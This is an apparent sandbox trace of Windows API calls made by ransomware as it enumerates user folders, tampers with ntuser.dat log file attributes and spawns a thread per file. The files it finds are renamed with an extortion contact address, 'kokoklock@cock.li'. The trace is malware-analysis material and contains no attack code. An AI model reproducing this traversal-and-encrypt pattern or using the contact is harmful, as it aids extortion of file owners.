[0168.600] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0168.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0168.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.600] RtlExitUserThread (Status=0x0) Thread: id = 1716 os_tid = 0x9d0 [0168.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f7fb20 [0168.601] wcscpy (in: _Dest=0x2f7fb20, _Source="C:\\Users\\FD1HVy\\NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood" [0168.601] wcscat (in: _Dest=0x2f7fb20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\") returned="C:\\Users\\FD1HVy\\NetHood\\" [0168.601] wcscat (in: _Dest=0x2f7fb20, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\*") returned="C:\\Users\\FD1HVy\\NetHood\\*" [0168.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0168.601] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.601] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0168.601] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb20) returned 1 [0168.601] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013398) returned 1 [0168.601] RtlExitUserThread (Status=0x0) Thread: id = 1717 os_tid = 0x6e8 [0168.602] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1")) returned 0x26 [0168.603] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x20) returned 1 [0168.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.603] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x26) returned 1 [0168.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0168.603] RtlExitUserThread (Status=0x0) Thread: id = 1718 os_tid = 0x954 [0168.604] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2")) returned 0x26 [0168.604] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x20) returned 1 [0168.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.605] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x26) returned 1 [0168.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0168.605] RtlExitUserThread (Status=0x0) Thread: id = 1719 os_tid = 0xb04 [0168.610] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf")) returned 0x26 [0168.610] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x20) returned 1 [0168.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.611] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x26) returned 1 [0168.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4f70) returned 1 [0168.611] RtlExitUserThread (Status=0x0) Thread: id = 1720 os_tid = 0xaf8 [0168.612] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26 [0168.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x20) returned 1 [0168.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 1 [0168.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98150) returned 1 [0168.613] RtlExitUserThread (Status=0x0) Thread: id = 1721 os_tid = 0xb08 [0168.616] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26 [0168.616] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x20) returned 1 [0168.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.616] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 1 [0168.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f987a8) returned 1 [0168.616] RtlExitUserThread (Status=0x0) Thread: id = 1722 os_tid = 0xb10 [0168.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fb20 [0168.618] wcscpy (in: _Dest=0x2f7fb20, _Source="C:\\Users\\FD1HVy\\OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive" [0168.618] wcscat (in: _Dest=0x2f7fb20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\") returned="C:\\Users\\FD1HVy\\OneDrive\\" [0168.619] wcscat (in: _Dest=0x2f7fb20, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\*") returned="C:\\Users\\FD1HVy\\OneDrive\\*" [0168.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0168.619] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0168.619] wcscmp (_String1=".", _String2=".") returned 0 [0168.619] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.619] wcscmp (_String1="..", _String2=".") returned 1 [0168.619] wcscmp (_String1="..", _String2="..") returned 0 [0168.619] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.619] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.619] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.619] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0168.619] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0168.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0168.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb20) returned 1 [0168.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0168.619] RtlExitUserThread (Status=0x0) Thread: id = 1723 os_tid = 0x1a0 [0168.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0168.620] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.620] wcscat (in: _Dest=0x2f806a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.620] wcscat (in: _Dest=0x2f806a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\*") returned="C:\\Users\\FD1HVy\\Pictures\\*" [0168.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0168.620] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82d944d4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d944d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0168.621] wcscmp (_String1=".", _String2=".") returned 0 [0168.621] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82d944d4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d944d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.621] wcscmp (_String1="..", _String2=".") returned 1 [0168.621] wcscmp (_String1="..", _String2="..") returned 0 [0168.621] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x544c05e0, ftCreationTime.dwHighDateTime=0x1d4cb69, ftLastAccessTime.dwLowDateTime=0xbf444460, ftLastAccessTime.dwHighDateTime=0x1d4c917, ftLastWriteTime.dwLowDateTime=0x80999cd0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbe79, dwReserved0=0x0, dwReserved1=0x0, cFileName="14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="14XFTQ~1.D0E")) returned 1 [0168.621] wcscmp (_String1="14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.621] wcscmp (_String1="14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5138 [0168.622] wcscpy (in: _Dest=0x2fe5138, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.622] wcscat (in: _Dest=0x2fe5138, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.622] wcscat (in: _Dest=0x2fe5138, _Source="14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" [0168.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0168.832] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c05310, ftCreationTime.dwHighDateTime=0x1d4c961, ftLastAccessTime.dwLowDateTime=0x174fc5c0, ftLastAccessTime.dwHighDateTime=0x1d4d0bc, ftLastWriteTime.dwLowDateTime=0x809e6175, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe994, dwReserved0=0x0, dwReserved1=0x0, cFileName="5iqL.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="5IQLGI~1.D0E")) returned 1 [0168.832] wcscmp (_String1="5iqL.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.832] wcscmp (_String1="5iqL.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f833a8 [0168.832] wcscpy (in: _Dest=0x2f833a8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.832] wcscat (in: _Dest=0x2f833a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.832] wcscat (in: _Dest=0x2f833a8, _Source="5iqL.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" [0168.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f833a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0168.833] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1234580, ftCreationTime.dwHighDateTime=0x1d4cc1b, ftLastAccessTime.dwLowDateTime=0xed1d6790, ftLastAccessTime.dwHighDateTime=0x1d4ce80, ftLastWriteTime.dwLowDateTime=0x80a0c3ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17803, dwReserved0=0x0, dwReserved1=0x0, cFileName="5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="5J81LN~1.D0E")) returned 1 [0168.833] wcscmp (_String1="5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.833] wcscmp (_String1="5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3360 [0168.833] wcscpy (in: _Dest=0x2fe3360, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.833] wcscat (in: _Dest=0x2fe3360, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.833] wcscat (in: _Dest=0x2fe3360, _Source="5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" [0168.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0168.834] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2611e6b0, ftCreationTime.dwHighDateTime=0x1d4d495, ftLastAccessTime.dwLowDateTime=0xc0c766b0, ftLastAccessTime.dwHighDateTime=0x1d4d5b4, ftLastWriteTime.dwLowDateTime=0x80a326a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="5LFFHH~1.D0E")) returned 1 [0168.834] wcscmp (_String1="5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.834] wcscmp (_String1="5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6dd10 [0168.834] wcscpy (in: _Dest=0x2f6dd10, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.834] wcscat (in: _Dest=0x2f6dd10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.834] wcscat (in: _Dest=0x2f6dd10, _Source="5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" [0168.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6dd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0168.834] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d7d550, ftCreationTime.dwHighDateTime=0x1d4cc56, ftLastAccessTime.dwLowDateTime=0x6b312520, ftLastAccessTime.dwHighDateTime=0x1d4c8ac, ftLastWriteTime.dwLowDateTime=0x80a58898, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="9B1GCM~1.D0E")) returned 1 [0168.834] wcscmp (_String1="9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.834] wcscmp (_String1="9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e340 [0168.835] wcscpy (in: _Dest=0x2f6e340, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.835] wcscat (in: _Dest=0x2f6e340, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.835] wcscat (in: _Dest=0x2f6e340, _Source="9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" [0168.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0168.835] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c0f0c0, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xc312e0f0, ftLastAccessTime.dwHighDateTime=0x1d4d53e, ftLastWriteTime.dwLowDateTime=0x80aa4d80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf259, dwReserved0=0x0, dwReserved1=0x0, cFileName="bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BQOJ4H~1.D0E")) returned 1 [0168.835] wcscmp (_String1="bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.835] wcscmp (_String1="bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f6eef0 [0168.835] wcscpy (in: _Dest=0x2f6eef0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.835] wcscat (in: _Dest=0x2f6eef0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.835] wcscat (in: _Dest=0x2f6eef0, _Source="bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" [0168.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6eef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0168.836] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51326440, ftCreationTime.dwHighDateTime=0x1d4c64f, ftLastAccessTime.dwLowDateTime=0x8699f960, ftLastAccessTime.dwHighDateTime=0x1d4cce2, ftLastWriteTime.dwLowDateTime=0x80acaf81, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x131b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BV1AIF~1.D0E")) returned 1 [0168.836] wcscmp (_String1="Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.836] wcscmp (_String1="Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fee240 [0168.836] wcscpy (in: _Dest=0x2fee240, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.836] wcscat (in: _Dest=0x2fee240, _Source="\\" | out: 